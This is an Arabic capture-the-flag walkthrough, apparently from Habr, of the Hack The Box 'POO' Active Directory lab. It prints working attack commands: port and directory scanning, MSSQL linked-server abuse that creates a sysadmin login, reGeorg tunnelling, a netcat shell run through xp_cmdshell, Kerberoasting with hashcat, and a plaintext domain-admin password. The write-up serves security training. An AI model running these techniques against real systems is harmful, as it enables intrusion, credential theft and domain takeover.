في هذه المقالة ، سنقوم بتحليل مرور ليس مجرد آلة ، ولكن معمل صغير كامل من الموقع
كما هو مذكور في الوصف ، تم تصميم POO لاختبار المهارات في جميع مراحل الهجمات في بيئة Active Directory صغيرة. الهدف هو اختراق مضيف متاح ، وتصعيد الامتيازات ، وفي النهاية اختراق النطاق بأكمله من خلال جمع 5 علامات في هذه العملية.
الاتصال بالمختبر عبر VPN. يوصى بعدم الاتصال من جهاز كمبيوتر يعمل أو من مضيف توجد به بيانات مهمة بالنسبة لك ، لأنك تدخل في شبكة خاصة مع أشخاص يعرفون شيئًا عن أمن المعلومات 🙂
المعلومات التنظيمية
حتى تتمكن من التعرف على المقالات الجديدة والبرامج والمعلومات الأخرى التي قمت بإنشائها
يتم توفير جميع المعلومات لأغراض تعليمية فقط. لا يتحمل مؤلف هذا المستند أي مسؤولية عن أي ضرر يلحق بأي شخص نتيجة لاستخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذه الوثيقة.
مقدمة
تتكون لعبة النهاية هذه من جهازين وتحتوي على 5 أعلام.
يتم أيضًا تقديم وصف وعنوان المضيف المتاح.
لنبدأ!
علم ريكون
هذا الجهاز لديه عنوان IP 10.13.38.11 الذي أقوم بإضافته إلى / etc / hosts.
10.13.38.11 poo.htb
الخطوة الأولى هي فحص المنافذ المفتوحة. نظرًا لأن مسح جميع المنافذ باستخدام nmap يستغرق وقتًا طويلاً ، فسوف أقوم بذلك أولاً باستخدام masscan. نقوم بفحص جميع منافذ TCP و UDP من واجهة tun0 بسرعة 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، دعنا نجري فحصًا باستخدام الخيار -A.
nmap -A poo.htb -p80,1433
وبالتالي ، لدينا خدمات IIS و MSSQL. في هذه الحالة ، سنكتشف اسم DNS الحقيقي للمجال والكمبيوتر. على خادم الويب ، يتم الترحيب بنا من خلال صفحة IIS الرئيسية.
دعونا نكرر على الدلائل. أنا استخدم gobuster لهذا الغرض. في المعلمات نحدد عدد التدفقات 128 (-t) ، URL (-u) ، القاموس (-w) والإضافات التي تهمنا (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
وبالتالي ، لدينا مصادقة HTTP للدليل / admin ، وكذلك يتوفر ملف تخزين خدمة سطح المكتب DS_Store. DS_Store هي الملفات التي تخزن إعدادات المستخدم لمجلد ، مثل قائمة الملفات وموقع الرمز وصورة الخلفية المحددة. قد ينتهي الأمر بمثل هذا الملف في دليل خادم الويب لمطوري الويب. وبالتالي ، نحصل على معلومات حول محتويات الدليل. لهذا يمكنك استخدام
python3 dsstore_crawler.py -i http://poo.htb/
نحصل على محتويات الدليل. الشيء الأكثر إثارة للاهتمام هنا هو دليل / dev ، والذي يمكننا من خلاله رؤية المصادر وملفات db في فرعين. ولكن يمكننا استخدام الأحرف الستة الأولى من أسماء الملفات والدليل إذا كانت الخدمة عرضة لـ IIS ShortName. يمكنك التحقق من هذه الثغرة الأمنية باستخدام
ونجد ملفًا نصيًا واحدًا يبدأ بـ "poo_co". لا أعرف ماذا أفعل بعد ذلك ، لقد اخترت ببساطة من قاموس الدلائل جميع الكلمات التي تبدأ بـ "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
وكرر مع wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
والعثور على الكلمة الصحيحة! ننظر إلى هذا الملف ، ونحفظ بيانات الاعتماد (وفقًا لمعامل DBNAME ، فهي من MSSQL).
نسلم العلم ونتقدم بنسبة 20٪.
هاه العلم
نحن نتصل بـ MSSQL ، وأستخدم DBeaver.
لا نجد أي شيء مثير للاهتمام في قاعدة البيانات هذه ، فلنقم بإنشاء محرر SQL والتحقق من المستخدمين.
SELECT name FROM master..syslogins;
لدينا مستخدمان. دعنا نتحقق من امتيازاتنا.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
وبالتالي ، لا توجد امتيازات. دعونا نرى الخوادم المرتبطة ، كتبت عن هذه التقنية بالتفصيل
SELECT * FROM master..sysservers;
لذلك نجد خادم SQL آخر. دعنا نتحقق من تنفيذ الأوامر على هذا الخادم باستخدام openquery ().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
ويمكننا أيضًا إنشاء شجرة استعلام.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
الحقيقة هي أنه عند تقديم طلب إلى خادم مرتبط ، يتم تنفيذ الطلب في سياق مستخدم آخر! دعونا نرى ما هو سياق المستخدم الذي نقوم بتشغيله على الخادم المرتبط.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
والآن دعونا نرى في أي سياق يتم تنفيذ الطلب من الخادم المرتبط بخادمنا!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
وبالتالي ، فإن سياق DBO يجب أن يتمتع بجميع الامتيازات. دعنا نتحقق من الامتيازات في حالة وجود طلب من خادم مرتبط.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
كما ترى ، لدينا كل الامتيازات! لنقم بإنشاء مشرفنا مثل هذا. لكنهم لا يسمحون لهم بالاطلاع على الأسئلة المفتوحة ، فلنقم بذلك من خلال EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
والآن نتواصل مع بيانات اعتماد المستخدم الجديد ، ونلاحظ قاعدة بيانات العلم الجديدة.
نسلم هذا العلم ونذهب أبعد من ذلك.
علم التراجع
دعنا نحصل على الصدفة باستخدام MSSQL ، أنا أستخدم mssqlclient من الحزمة impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
نحتاج إلى الحصول على كلمات مرور ، وأول شيء قابلناه بالفعل هو الموقع. وبالتالي ، نحتاج إلى تهيئة خادم الويب (من المستحيل وضع غلاف مناسب ، ويبدو أن جدار الحماية يعمل).
لكن الوصول مرفوض. على الرغم من أنه يمكننا قراءة الملف من MSSQL ، إلا أننا نحتاج فقط إلى معرفة لغات البرمجة التي تم تكوينها. وفي دليل MSSQL نكتشف أن هناك لغة Python.
ثم لا توجد مشكلة في قراءة ملف web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
بعد العثور على بيانات الاعتماد ، انتقل إلى / admin واختر العلامة.
موطئ قدم العلم
في الواقع ، هناك بعض المضايقات من استخدام جدار الحماية ، ولكن بالنظر إلى إعدادات الشبكة ، نلاحظ أن بروتوكول IPv6 يستخدم أيضًا!
أضف هذا العنوان إلى / etc / hosts.
dead:babe::1001 poo6.htb
دعنا نفحص المضيف مرة أخرى ، ولكن هذه المرة عبر IPv6.
وتتوفر خدمة WinRM عبر IPv6. دعنا نتواصل مع أوراق الاعتماد التي تم العثور عليها.
هناك علم على سطح المكتب ، قم بتسليمه.
علم P00ned
بعد الاستطلاع على المضيف مع
setspn.exe -T intranet.poo -Q */*
دعنا ننفذ الأمر عبر MSSQL.
بهذه الطريقة ، نحصل على SPN للمستخدمين p00_hr و p00_adm ، مما يعني أنهم عرضة لهجوم مثل Kerberoasting. باختصار ، يمكننا الحصول على تجزئات كلمات المرور الخاصة بهم.
تحتاج أولاً إلى الحصول على غلاف ثابت نيابة عن مستخدم MSSQL. ولكن نظرًا لأننا مقيدون في الوصول ، فلدينا اتصال بالمضيف فقط من خلال المنفذين 80 و 1433. لكن من الممكن المرور عبر نفق عبر المنفذ 80! لهذا نستخدمها
ولكن عندما نحاول الوصول إليه ، حصلنا على خطأ 404. هذا يعني أن ملفات * .aspx لم يتم تنفيذها. لتشغيل الملفات التي تحتوي على هذه الملحقات ، قم بتثبيت ASP.NET 4.5 على النحو التالي.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
والآن ، عند الوصول إلى tunnel.aspx ، نحصل على الإجابة بأن كل شيء جاهز للعمل.
لنبدأ جزء العميل من التطبيق ، والذي سينقل حركة المرور. سنقوم بإعادة توجيه كل حركة المرور من المنفذ 5432 إلى الخادم.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
ونستخدم سلاسل البروكسي لإرسال حركة مرور أي تطبيق عبر وكيلنا. دعنا نضيف هذا الوكيل إلى ملف التكوين /etc/proxychains.conf.
لنقم الآن بتحميل البرنامج على الخادم
الآن ، من خلال MSSQL ، أطلقنا المستمع.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
ونحن نتواصل من خلال وكيلنا.
proxychains rlwrap nc poo.htb 4321
ودعنا نحصل على التجزئة.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
بعد ذلك ، تحتاج إلى تكرار هذه التجزئة. نظرًا لأن rockyou لم يكن لديك قاموس بيانات كلمة المرور ، فقد استخدمت جميع قواميس كلمات المرور المتوفرة في قوائم Seclists. للعدد نستخدم الهاشكات.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
ونجد كلتا كلمتي المرور ، الأولى في قاموس dutch_passwordlist.txt ، والثانية في Keyboard-Combinations.txt.
ولذا لدينا ثلاثة مستخدمين ، نذهب إلى وحدة التحكم بالمجال. دعنا نتعرف على عنوانه أولاً.
رائع ، لقد تعلمنا عنوان IP لوحدة التحكم بالمجال. دعنا نتعرف على جميع مستخدمي المجال ، بالإضافة إلى أي منهم مسؤول. لتنزيل البرنامج النصي للحصول على معلومات PowerView.ps1. ثم سنقوم بالاتصال باستخدام evil-winrm ، وتحديد الدليل بالبرنامج النصي في المعلمة -s. وبعد ذلك فقط قم بتحميل البرنامج النصي PowerView.
الآن لدينا حق الوصول إلى جميع وظائفه. يبدو المستخدم p00_adm كمستخدم ذي امتياز ، لذلك سنعمل في سياقه. لنقم بإنشاء كائن PSCredential لهذا المستخدم.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
الآن سيتم تنفيذ جميع أوامر Powershell حيث نحدد Creds نيابة عن p00_adm. دعنا نعرض قائمة المستخدمين وسمة AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
وهكذا ، فإن مستخدمنا يتمتع بامتياز حقًا. دعونا نرى ما هي المجموعات التي ينتمي إليها.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
أخيرًا نؤكد أن المستخدم هو مسؤول المجال. هذا يمنحه الحق في تسجيل الدخول عن بعد إلى وحدة تحكم المجال. دعنا نحاول تسجيل الدخول باستخدام WinRM باستخدام النفق الخاص بنا. لقد كنت في حيرة من أمري بسبب الأخطاء التي أصدرتها reGeorg عند استخدام evil-winrm.
ثم نستخدم طريقة أخرى أسهل ،
نحاول الاتصال ونحن في النظام.
لكن لا يوجد علم. ثم انظر إلى المستخدم وتحقق من أجهزة سطح المكتب.
في mr3ks نجد العلم والمختبر مكتمل بنسبة 100٪.
هذا كل شئ. كتعليقات ، قم بالتعليق على ما إذا كنت قد تعلمت شيئًا جديدًا من هذه المقالة وما إذا كان مفيدًا لك.
يمكنك الانضمام إلينا في
المصدر: www.habr.com